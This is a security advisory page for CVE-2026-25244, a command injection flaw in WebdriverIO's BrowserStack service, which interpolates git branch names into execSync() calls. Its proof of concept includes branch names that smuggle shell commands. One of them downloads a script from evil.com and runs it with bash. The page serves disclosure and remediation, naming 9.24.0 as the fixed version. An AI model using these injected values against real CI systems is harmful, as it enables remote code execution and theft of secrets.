CVE-2026-25244: WebdriverIO has Command Injection in the BrowserStack Service

Published May 11, 2026
·
Updated

Summary A command injection vulnerability exists in @wdio/browserstack-service that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.

Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

Vulnerable Code File: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204

Root Cause User-controlled git branch names are directly interpolated into execSync() calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection. Git allows to create these branches. git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"

Attack Vector 1. Attacker creates a malicious git repository with a branch name containing command injection payload 2. Attacker configures WebdriverIO to use this repository via testOrchestrationOptions.runSmartSelection.source. if source is not provided it takes current directory as source. 3. When getGitMetadataForAISelection() executes, it extracts the malicious branch name 4. Branch name is interpolated into shell commands without sanitization 5. Shell interprets special characters and executes attacker's commands

PoC Step 1: Create Malicious Repository Branch git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"

Step 2: Configure WebdriverIO

javascript // wdio.conf.js export const config = { services: [ ['browserstack', { user: process.env.BROWSERSTACKUSERNAME, key: process.env.BROWSERSTACKACCESSKEY, testOrchestrationOptions: { runSmartSelection: { enabled: true, source: ['/tmp/malicious-repo'] // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory. } } }] ], // ... rest of config } Step 3: Run Tests

bash npm run wdio Step 4: Verify RCE

bash Check if file was created (proof of RCE) ls -la /tmp/pwned.txt

Impact

- Remote Code Execution on CI/CD servers or developer machines - Information Disclosure (environment variables, secrets, credentials) - Data Exfiltration (source code, SSH keys, configuration files) - System Compromise (backdoor installation, lateral movement) - Supply Chain Attack (modify build artifacts)

Other sources

WebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orchestration. Git permits branch names containing shell metacharacters, and getGitMetadataForAISelection() interpolates these names directly into execSync() calls without sanitization. An attacker can exploit this by supplying a malicious repository (via testOrchestrationOptions.runSmartSelection.source, or the current directory if unset) whose branch name carries a payload, causing the shell to execute arbitrary code. This enables remote code execution on CI/CD servers and developer machines, leading to credential and secret disclosure, source code and SSH key exfiltration, system compromise, and supply chain attacks via tampered build artifacts. The issue has been fixed in version 9.24.0.

MITRE

Affected Software

2 affected componentsFixes available
npm/@wdio/browserstack-service<=9.23.2
9.24.0
Openjsf Webdriverio Node.js<9.24.0

Event History

May 11, 2026
Advisory Published
via GitHub·05:53 PM
Data Sourced
via GitHub·05:53 PM
DescriptionSeverityWeaknessAffected Software
May 18, 2026
CVE Published
via MITRE·08:31 PM
Data Sourced
via MITRE·08:31 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-25244?

CVE-2026-25244 has a critical severity rating due to its potential for remote code execution.

2

How do I fix CVE-2026-25244?

To fix CVE-2026-25244, upgrade the @wdio/browserstack-service package to version 9.24.0 or later.

3

What type of vulnerability is CVE-2026-25244?

CVE-2026-25244 is a command injection vulnerability that allows for remote code execution.

4

Which versions of @wdio/browserstack-service are affected by CVE-2026-25244?

Versions of @wdio/browserstack-service up to and including 9.23.2 are affected by CVE-2026-25244.

5

What can attackers do with CVE-2026-25244?

Attackers can exploit CVE-2026-25244 to execute arbitrary commands on the server by manipulating git branch names.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203